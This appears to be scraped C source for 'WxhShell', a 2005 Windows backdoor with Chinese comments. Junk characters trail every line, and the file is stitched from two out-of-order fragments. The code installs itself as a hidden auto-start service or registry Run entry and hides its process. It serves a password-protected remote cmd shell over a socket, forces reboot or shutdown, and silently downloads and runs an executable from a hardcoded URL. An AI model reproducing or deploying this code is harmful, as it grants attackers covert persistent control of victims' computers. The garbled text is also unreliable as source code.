    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {l-,Jbfi`  
    else { jX$TiG  
    closesocket(wsh); `^-?yu@  
    ExitThread(0); |qE"60&"}  
    } 1c(1YGuH  
    break; n6ETWjP  
    } ^VR1whCrx  
  // 获取shell 8*;G\$+  
  case 's': { Z=_p  
    CmdShell(wsh); \O/EY&  
    closesocket(wsh); i%GjtYjS  
    ExitThread(0); c BQ|m A  
    break; kZs  
  } ?>N82#9Q  
  // 退出 ?"$W=*P\o  
  case 'x': { Wct +T,8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L"rLalUw  
    CloseIt(wsh); 3Wrl_V  
    break; `o8b\p\zn  
    } L%ND?'@  
  // 离开 4NMv7[r  
  case 'q': { 1 M7=*w,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @tdX=\[~  
    closesocket(wsh); g^26Gb.  
    WSACleanup(); ?D/r1%Z  
    exit(1); D9B?9Qt2[  
    break; .7ESPr  
        } 2-ev7:  
  } mHE4Es0  
  } Z~F% K~(  
L01R.3Z+  
  // 提示信息 5YUn{qtD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #IDDKUE  
} .^N+'g  
  } LyhLPU0^q  
MeW8aL r  
  return; !s/ij' T  
} *YZ' Uy?  
41>Bm*if  
// shell模块句柄 1b+ B  
int CmdShell(SOCKET sock) HNxJ`x~Z~  
{ "ZE JL.Wy  
STARTUPINFO si; 0I* ^VGZ  
ZeroMemory(&si,sizeof(si)); <1.].A@b*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ])!|b2:s3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u`$,S& Er  
PROCESS_INFORMATION ProcessInfo; %?J\P@  
char cmdline[]="cmd"; 2/RK pl &  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e<dFvMO  
  return 0; G'q7@d {'  
} ]^Z7w`=%5  
Pk T&zSQA  
// 自身启动模式 W%hdS<b  
int StartFromService(void) RX4O1Z0  
{ )/PvaL  
typedef struct Hq8<g$  
{ zh2$U dZ|M  
  DWORD ExitStatus; TKvUBy  
  DWORD PebBaseAddress; yc8FEn!)&  
  DWORD AffinityMask; 1 h|cr_  
  DWORD BasePriority; 2w)0>Y(_  
  ULONG UniqueProcessId; }P#%aE&-  
  ULONG InheritedFromUniqueProcessId; X0^gj>GI|  
}   PROCESS_BASIC_INFORMATION; T9jp*  
wxB?}   
PROCNTQSIP NtQueryInformationProcess; {g@Wd2-J}  
E&}r"rbI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k$y(H;XA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [4]lAxrRF  
{H#1wu^]O$  
  HANDLE             hProcess; YiB]}/  
  PROCESS_BASIC_INFORMATION pbi; Qzw~\KY:  
{6^c3R[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C_dsYuQ5R  
  if(NULL == hInst ) return 0; ~;_]U[eOL  
zLc.4k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1GN>,Lb: o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [bUM x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }]>[FW  
18z{d9'F   
  if (!NtQueryInformationProcess) return 0; ,RKBGOz?f  
l <<0:~+q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QbP W_)N  
  if(!hProcess) return 0; w-FZ`OA`D  
9*GwW&M%1_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B]ul~FX  
H"WkZX  
  CloseHandle(hProcess); 5)' _3r  
x=Qy{eIe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \xkLI:*\  
if(hProcess==NULL) return 0; V^QKn+/  
8 Mp2MZ*p  
HMODULE hMod; gZuk(  
char procName[255]; N(vzxx^  
unsigned long cbNeeded; cR}}NF  
+"Ih'bb`j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bI TOA  
#HWz.Wb  
  CloseHandle(hProcess); 7Gnslp?[U  
%eGxQDIXg  
if(strstr(procName,"services")) return 1; // 以服务启动 0{F"b'h  
`I,A7b  
  return 0; // 注册表启动 y A?>v'K  
} xr&wV0O '  
H/Cv?GJF  
// 主模块 `J[(Dx'y=t  
int StartWxhshell(LPSTR lpCmdLine) G]E$U]=9r:  
{ V.)y7B  
  SOCKET wsl; 2hEB?ZAQZ  
BOOL val=TRUE; (9*s:)zD-  
  int port=0; .3?'+KZ,  
  struct sockaddr_in door; +L;[-]E8  
D%(9ot{!e  
  if(wscfg.ws_autoins) Install(); Dx$74~2e  
z}.!q{Q  
port=atoi(lpCmdLine); #pBAGm3  
z@>z.d4  
if(port<=0) port=wscfg.ws_port; #bUWF|zfT  
ZLyJ  
  WSADATA data; :^0g}8$<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y$r^UjJEO  
MG>g?s'!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q-F'-@`(C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jV\M`=4IC  
  door.sin_family = AF_INET; Q\z3YUk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E$.|h;i]Q  
  door.sin_port = htons(port); fU@}]&  
[6V'UI6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b5Rjn1@  
closesocket(wsl); $Rv}L'L  
return 1; ?Pw# !t  
} o m`r^3,  
P{)H7B>  
  if(listen(wsl,2) == INVALID_SOCKET) { *U.$=4Az  
closesocket(wsl); bv9\Jp0c  
return 1; K6KEdXM4  
} cCFSPT2fq[  
  Wxhshell(wsl); k^Tu9}[W1  
  WSACleanup(); O}NR{B0B3&  
m}:";>?#  
return 0; 2n?\tOm(V  
&~pj)\_  
} vNL f)B  
8V_ ]}W  
// 以NT服务方式启动 fpM 4q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +1Si>I  
{ BS;rit:  
DWORD   status = 0; |~8\{IcZ  
  DWORD   specificError = 0xfffffff; -le:0NUwI  
mz1Xk ]nE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ' :g8a=L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `=uCp^ +v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mvVVPf9  
  serviceStatus.dwWin32ExitCode     = 0; D4s*J21)D  
  serviceStatus.dwServiceSpecificExitCode = 0; 7 tF1g=\  
  serviceStatus.dwCheckPoint       = 0; [4 g5 {eX  
  serviceStatus.dwWaitHint       = 0; .2Q`. o)  
Wq0h3AjR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y((z9-`  
  if (hServiceStatusHandle==0) return; *u>2"!+Ob  
eG|e1tK+  
status = GetLastError(); -yg9ug  
  if (status!=NO_ERROR) fdho`juFa  
{ ^%M!!wlUH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C+P}R]cT"  
    serviceStatus.dwCheckPoint       = 0; 6'(5pt  
    serviceStatus.dwWaitHint       = 0; y 97QqQ^  
    serviceStatus.dwWin32ExitCode     = status; $LAaG65V  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2c5>0f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); TMKemci  
    return; )jR:\fe  
  } vMzR3@4e  
& ?/h5<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9Vzk:zOT  
  serviceStatus.dwCheckPoint       = 0; s.1(- "DU  
  serviceStatus.dwWaitHint       = 0; ;s"m* 4N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BS*cG>T  
} #Vv*2Mc  
o1MbHBb  
// 处理NT服务事件,比如:启动、停止 r NU,(htS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 20^F -,z  
{ -ud~'<k  
switch(fdwControl) o|]xj'  
{ j2qDRI  
case SERVICE_CONTROL_STOP: 9`dQ7z.8t  
  serviceStatus.dwWin32ExitCode = 0; \VHi   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .{7?Y;_(  
  serviceStatus.dwCheckPoint   = 0; oVoTnGNM6  
  serviceStatus.dwWaitHint     = 0; TT .EQv5  
  { m{pL< g^M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (oq(-Wv  
  } @WhcY*R2  
  return; akm)X0!-}  
case SERVICE_CONTROL_PAUSE: GPP~*+n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >+u5%5-wr  
  break; W}Nd3  
case SERVICE_CONTROL_CONTINUE: 2r?g|< :  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5PKv@Mk  
  break; =_%:9FnQ0  
case SERVICE_CONTROL_INTERROGATE: wIx Lr{  
  break; '9auQ(2  
}; t@}<&{zk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~rpYZLH/:0  
} GaRL]w  
l#:=zu  
// 标准应用程序主函数 '  AeU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n9bX[+#d  
{ ji A$6dZU  
:U ?P~HI  
// 获取操作系统版本 F`Q,pBl1p6  
OsIsNt=GetOsVer(); g/`i:=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m\1*/6oV  
{nryAXK  
  // 从命令行安装 p*Q"<@n  
  if(strpbrk(lpCmdLine,"iI")) Install(); KT?vs5jg$&  
L4Nk+R;  
  // 下载执行文件 bn<&Xe  
if(wscfg.ws_downexe) { )KXLL;]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +]uy  
  WinExec(wscfg.ws_filenam,SW_HIDE); T%P 0M*  
} OMKEn!Wq  
px4Z  
if(!OsIsNt) { K/MIDH  
// 如果时win9x,隐藏进程并且设置为注册表启动 S`0@fieOf  
HideProc(); jq.@<<j|$  
StartWxhshell(lpCmdLine); ,e.y4 vnU  
} N:L<ySJ7  
else eDaVoc3  
  if(StartFromService()) $23="Jcl  
  // 以服务方式启动 2$\1v*:  
  StartServiceCtrlDispatcher(DispatchTable); v#-%_V>ph  
else Ao{wd1  
  // 普通方式启动  M?}2  
  StartWxhshell(lpCmdLine); C,tlp  
QREIr |q'  
return 0; ]NTHit^EX  
} kdxs{b"t  
>#!n"i;  
.WyI.Y1  
H D=WHT&  
=========================================== JG/sKOlA  
Z]9 )1&  
Ij=hmTl{P  
50_%Tl[  
O "{o (  
c%xxsq2n  
" BAm{Gb  
&]#D`u  
#include <stdio.h> T+sO(;  
#include <string.h> tQ`tHe  
#include <windows.h> [W^6=7EO  
#include <winsock2.h> -(:BkA  
#include <winsvc.h> K<s\:$VVh  
#include <urlmon.h> ^gb2=gWZ<  
3c9v~5og4  
#pragma comment (lib, "Ws2_32.lib") :dLS+cTC  
#pragma comment (lib, "urlmon.lib") m{b(^K9}  
2a? d:21 B  
#define MAX_USER   100 // 最大客户端连接数 \BJnJk!%  
#define BUF_SOCK   200 // sock buffer D;Az>]>q  
#define KEY_BUFF   255 // 输入 buffer UKX'A)$  
F+hsIsQ  
#define REBOOT     0   // 重启 3*8#cSQ/6o  
#define SHUTDOWN   1   // 关机 YJ3970c/M  
T*YdGIFO  
#define DEF_PORT   5000 // 监听端口 l8^^ O   
r43dnwX  
#define REG_LEN     16   // 注册表键长度 |nm,5gPNC  
#define SVC_LEN     80   // NT服务名长度 Yq1 ~"he8  
jRgv 8n  
// 从dll定义API M.|hnGX N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o^7NZ]m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ui?t@.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D.?KgOZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); oxGOn('  
-Ep-v4}  
// wxhshell配置信息 YdeSJ(:  
struct WSCFG { dX+DE(y  
  int ws_port;         // 监听端口 Q@d X2  
  char ws_passstr[REG_LEN]; // 口令 (5Cm+Sy  
  int ws_autoins;       // 安装标记, 1=yes 0=no r/{0Y Fa  
  char ws_regname[REG_LEN]; // 注册表键名 jq}5(*k  
  char ws_svcname[REG_LEN]; // 服务名 ={zYcVI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -sc@SoS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hKX-]+6"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C #TS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N k^#Sa?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u!g<y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VK$+Nm)  
0 'L+9T5  
}; JY>]u*=  
CrqWlO  
// default Wxhshell configuration Dj<Vn%d*  
struct WSCFG wscfg={DEF_PORT, 7&T1RB'>  
    "xuhuanlingzhe", u9VJ{F  
    1,  Y9PG  
    "Wxhshell", 6'qs=Ql  
    "Wxhshell", B&.XGo)  
            "WxhShell Service", "G4{;!0C  
    "Wrsky Windows CmdShell Service",  Gc SX5c  
    "Please Input Your Password: ",  : [AW  
  1, 0eUsvzz 15  
  "http://www.wrsky.com/wxhshell.exe", B}*xrPj  
  "Wxhshell.exe" }1(F~6RH  
    }; L\n_q6n  
6.K)uQgjmv  
// 消息定义模块 vk[Km[(U'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !FO||z(vb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sq :ff  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pLk?<y  
char *msg_ws_ext="\n\rExit."; t,=khZ  
char *msg_ws_end="\n\rQuit."; u1>|2D  
char *msg_ws_boot="\n\rReboot..."; N$_Rzh"9rr  
char *msg_ws_poff="\n\rShutdown..."; eb+[=nmP  
char *msg_ws_down="\n\rSave to "; Jh }3AoD  
nwV\ [E  
char *msg_ws_err="\n\rErr!"; %X#Wc:b  
char *msg_ws_ok="\n\rOK!"; &4B N9`|:  
d3Y#_!)  
char ExeFile[MAX_PATH]; E5 Y92vu  
int nUser = 0; ]2Lwd@  
HANDLE handles[MAX_USER]; [qid4S~r,&  
int OsIsNt; &LYU#$sj  
pT[C[h:  
SERVICE_STATUS       serviceStatus; /4=O^;   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e'7!aysj  
#M8"b]oh6  
// 函数声明 GS)l{bS#[O  
int Install(void); iyj&O"  
int Uninstall(void); ,gRsbC  
int DownloadFile(char *sURL, SOCKET wsh); WU}JArX9  
int Boot(int flag); 2Uk$9s  
void HideProc(void); 4pA(.<#A  
int GetOsVer(void); 5GpR N  
int Wxhshell(SOCKET wsl); ]A!Gr(FHQ  
void TalkWithClient(void *cs); |yQ3H)qB#  
int CmdShell(SOCKET sock); 5N ' QG<jE  
int StartFromService(void); <$7*yV  
int StartWxhshell(LPSTR lpCmdLine); c t,p?[Q  
tJg   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IURi90Ir  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =DF7l<&km  
[n66ZY#U]  
// 数据结构和表定义 Af*^u|#  
SERVICE_TABLE_ENTRY DispatchTable[] = u^V`Ucd"R  
{ vp-)$f&  
{wscfg.ws_svcname, NTServiceMain}, @gs Kb* ,  
{NULL, NULL} sFB; /*C  
}; zf2]|]*xz  
\.Q"fd?a_D  
// 自我安装 f3*u_LO  
int Install(void) *S{%+1F  
{ RQ|!?\a=  
  char svExeFile[MAX_PATH]; [Ma&=2h  
  HKEY key; &HW%0lTs%  
  strcpy(svExeFile,ExeFile); &AlVJEI+  
##yi^;3Y  
// 如果是win9x系统,修改注册表设为自启动 t5e%"}>7H  
if(!OsIsNt) { XlB`Z81j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kGX`y.-[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O7q-MeMM  
  RegCloseKey(key); tS`fG;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xB 4A"|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &.Yh_  
  RegCloseKey(key); ywCE2N<-V?  
  return 0; %:((S]vAi  
    } qb "H&)aHw  
  } R+, tn,<<  
} b ~v  
else { Q{mls  
f'R^MX2  
// 如果是NT以上系统,安装为系统服务 ~@L$}Eu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _X;5ORH"  
if (schSCManager!=0) W^al`lg+y  
{ 1kTJMtZG~  
  SC_HANDLE schService = CreateService {w{|y[[d~  
  ( tQ] R@i  
  schSCManager, 0$* z   
  wscfg.ws_svcname, f,PFvT$5e  
  wscfg.ws_svcdisp, $NJi]g|<3  
  SERVICE_ALL_ACCESS, k,b(MAiQ0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O^oFH OpFh  
  SERVICE_AUTO_START, m.S@ e8kS  
  SERVICE_ERROR_NORMAL, 7c<2oTN'  
  svExeFile, TvMY\e  
  NULL, }GQ8|fg`U  
  NULL, j'CRm5O  
  NULL, &~^"yo#b  
  NULL, bg[q8IBCd  
  NULL R}Z"Y xx  
  ); g24)GjDi  
  if (schService!=0) ~])\xC  
  { pD.7ib^  
  CloseServiceHandle(schService); ~eqX<0hf@  
  CloseServiceHandle(schSCManager); {"'W!WT b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RH>b,  
  strcat(svExeFile,wscfg.ws_svcname); Wu:vO2aw8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZYrd;9zB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U*v//@WbH  
  RegCloseKey(key); WynHcxC  
  return 0; ;c<:"ad(  
    } -\AB!#fh  
  } S1%{/w  
  CloseServiceHandle(schSCManager); (a]'}c$X9`  
} j[) i>Qw  
} z`5+BL,|ND  
I+8m1 *  
return 1; xzIs,i}U  
} F!j@b!J8  
r 'pFHX  
// 自我卸载 yIqsZJj  
int Uninstall(void) NfS0yQPx  
{ b 3D:w{l  
  HKEY key; ]#))#-&1  
$U"/.Mh\  
if(!OsIsNt) { mMu3B2nke=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <F>\Vl:  
  RegDeleteValue(key,wscfg.ws_regname); KdYT5VUM/  
  RegCloseKey(key); y|iZuHS}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;z)$wH0xc  
  RegDeleteValue(key,wscfg.ws_regname); `Z]a6@w~  
  RegCloseKey(key); /]<0`nI.  
  return 0; LDr!d1A  
  } Ri aO`|1  
} EmG`ga)s  
} LQNu]2  
else { m7^a4  
g|e^}voRM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `=b*g24z[N  
if (schSCManager!=0) NZ9`8&93  
{ U-X  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Wky~hm  
  if (schService!=0) Vg6?a  
  { W[j =!o  
  if(DeleteService(schService)!=0) { 9j$ OU@N 8  
  CloseServiceHandle(schService); H>;km$b +  
  CloseServiceHandle(schSCManager); mkrvWZjZX  
  return 0; (= uwx#  
  } ?GB($D=Y'&  
  CloseServiceHandle(schService); cV)fe`Gg  
  } Fov/?:f$  
  CloseServiceHandle(schSCManager); t*e+[  
} +5? s Yp\  
} j\!zz  
9%kY8#%SV  
return 1; -!(3fO:  
} U|-4*l9Ed  
{eqUEdC  
// 从指定url下载文件 #B)/d?aa'  
int DownloadFile(char *sURL, SOCKET wsh) m{(D*Vuqd  
{ VH,k EbJ  
  HRESULT hr; DU]MMR  
char seps[]= "/"; G\Toi98d*  
char *token; zZki9P   
char *file; hH )jX`Ta  
char myURL[MAX_PATH]; Q gDjc '  
char myFILE[MAX_PATH]; <74q]C  
=@gH$Q_1  
strcpy(myURL,sURL); ?VS {,"X  
  token=strtok(myURL,seps); wC'KI8-  
  while(token!=NULL) 2~Gcoda  
  { 8X5;)h   
    file=token; dGP*bMCT  
  token=strtok(NULL,seps); Q3wD6!'&m  
  } C<6u}czA  
>:Xzv  
GetCurrentDirectory(MAX_PATH,myFILE); /M v\~vg$1  
strcat(myFILE, "\\"); u)R>ozER  
strcat(myFILE, file); 2frJSV?  
  send(wsh,myFILE,strlen(myFILE),0); 7+#^:;19`  
send(wsh,"...",3,0); </:f-J%U/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); RyIr_:&-~  
  if(hr==S_OK) PIB|&I|p  
return 0; N;Hrc6nin^  
else @ g~kp  
return 1; v?fB:[dG  
Y@M=6G  
} REQ2pfk0  
Uu>YE0/)  
// 系统电源模块  f==o  
int Boot(int flag) [$8*(d"F'  
{ XrFyN(p  
  HANDLE hToken; XuoI19V[  
  TOKEN_PRIVILEGES tkp; `lN1u'(:  
n_.2B$JD  
  if(OsIsNt) { 8[(c'rl|)|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UFouIS#L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pb_mW;JVu  
    tkp.PrivilegeCount = 1; @<W"$_ r-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K]N^6ome  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =qCVy:RL4  
if(flag==REBOOT) { Drk9F"J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mr E^D|  
  return 0; TjgX' j  
} cS4e}\q,  
else { 7{v0K"E{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 08yTTt76t  
  return 0; j)'V_@  
} IC92lPM }  
  } _Dwn@{[(8  
  else { _+z@Qn?#6h  
if(flag==REBOOT) { $J=9$.4"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) = fuF]yL%  
  return 0; <*2.B~  
} ehO F@IA_  
else { D3;^!ln]D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ibd7[A\  
  return 0; Y]&H U) u  
} 0*B_$E06  
} (.<Gde#  
X~]eQaJ  
return 1; rS>njG;R  
} >pG]#Z g  
u;h9Ra1  
// win9x进程隐藏模块 = Ky1v$<  
void HideProc(void) #9#N+  
{ PrDvRWM  
ZKAIG=l&!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); , $78\B^  
  if ( hKernel != NULL ) ^^3 >R`  
  { i.0}qS?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tG^Oj:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ds&)0Iwf  
    FreeLibrary(hKernel); `(W V pP?  
  } pFGdm3pV  
7:mM`0g!  
return; ib/&8)Y+J  
} 5p U(A6RtS  
d3 fE[/oU  
// 获取操作系统版本 wvx N6  
int GetOsVer(void) e_\4(4x  
{ 3/}=x<ui  
  OSVERSIONINFO winfo; GB^Ch YOb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); goIn7ei92  
  GetVersionEx(&winfo); 7I(Sa?D:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]1abz:  
  return 1; 31Zl"-<#-  
  else N%_-5Q)so  
  return 0; -t:y y:4  
} JAmv7GL'6  
7{."Y@  
// 客户端句柄模块 >6r&VZu*n  
int Wxhshell(SOCKET wsl) .IYOtS  
{ P[#V{%f*5  
  SOCKET wsh; SZ1+h TY7d  
  struct sockaddr_in client; :g+R}TR[i  
  DWORD myID; p,]Hs{R  
/_ o1b_1 U  
  while(nUser<MAX_USER) z=n"cE[KtB  
{ )-2OraUm<  
  int nSize=sizeof(client); xI}]q%V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S"5</*  
  if(wsh==INVALID_SOCKET) return 1; r\ ` R$  
-[0)n{AVvU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]*[S# Jk  
if(handles[nUser]==0) 3$(1LN  
  closesocket(wsh); ?Xh=rx_  
else p`33`25  
  nUser++; S7E:&E&  
  } &qMSJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tA}O'x  
W O|2x0K  
  return 0; 4=*VXM/  
} &wK%p/?  
C Ij3D"  
// 关闭 socket 1 /7H` O?  
void CloseIt(SOCKET wsh) )Qp?N<&'  
{ IUbYw~f3  
closesocket(wsh); 2[qO;js  
nUser--; X/2Xr(z"k  
ExitThread(0); {xr4CDP  
} /3'-+bp^=  
uDQ d48>  
// 客户端请求句柄 Mm^o3vl  
void TalkWithClient(void *cs) ^|>vK,q$I  
{ J@p[v3W  
/NMd GKr  
  SOCKET wsh=(SOCKET)cs; oBifESJ  
  char pwd[SVC_LEN]; NU I|4X  
  char cmd[KEY_BUFF]; k3}ymhUf  
char chr[1]; ^3*/x%A,g  
int i,j; |a3)U%rUEQ  
) i.p[  
  while (nUser < MAX_USER) { ~O 65=8  
6$ 9n_AS  
if(wscfg.ws_passstr) { oizD:|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )/Ee#)z*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "Z&{  
  //ZeroMemory(pwd,KEY_BUFF); 0Evmq3,9  
      i=0; Q$iv27  
  while(i<SVC_LEN) { )O#>ONm^  
[0Z r z+q  
  // 设置超时 a}hpcr({?  
  fd_set FdRead; J+Q ;'J  
  struct timeval TimeOut; 2/E3~X7  
  FD_ZERO(&FdRead); |9~{&<^X  
  FD_SET(wsh,&FdRead); F1w~f <  
  TimeOut.tv_sec=8; j'X]bd'  
  TimeOut.tv_usec=0; \&Mipf7a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Nt$/JBB[$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $X9-0-  
.FXq4who  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %_KNAuM  
  pwd=chr[0]; ;ZFn~!V  
  if(chr[0]==0xd || chr[0]==0xa) { kJZBQ<^  
  pwd=0; HZkC3$  
  break; Ac^}wXp  
  } _F;(#D  
  i++; N&-d8[~  
    } >e>Q'g{  
/V$ [M  
  // 如果是非法用户,关闭 socket z,X ^;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^ :6v- Yx  
} Yvs9)g  
hz>&E,<8q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a4 O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b_W0tiyv%  
vp[~%~1(  
while(1) { UqsVqi h(  
z X2BJ  
  ZeroMemory(cmd,KEY_BUFF); (`<l" @:_*  
N$6Rg1  
      // 自动支持客户端 telnet标准   6}K|eUak/  
  j=0; WG1Uv PK  
  while(j<KEY_BUFF) { cCw?%qq,L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )DI/y1  
  cmd[j]=chr[0]; !FA^~  
  if(chr[0]==0xa || chr[0]==0xd) { y4C_G?  
  cmd[j]=0; =zK7`5  
  break; PHyS^J`  
  } !D7/Ja  
  j++; *h-_   
    } T,TKt%  
rk-}@vp  
  // 下载文件 DSM,dO'  
  if(strstr(cmd,"http://")) { kK16+`\+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n-#?6`>a  
  if(DownloadFile(cmd,wsh)) gk>A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ALiA+k N  
  else "F7g8vu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (9*=d_=  
  } xD8x1-  
  else { @j K7bab:  
\XCs(lNh  
    switch(cmd[0]) { - 9UQs.Nv  
  V2u^sy  
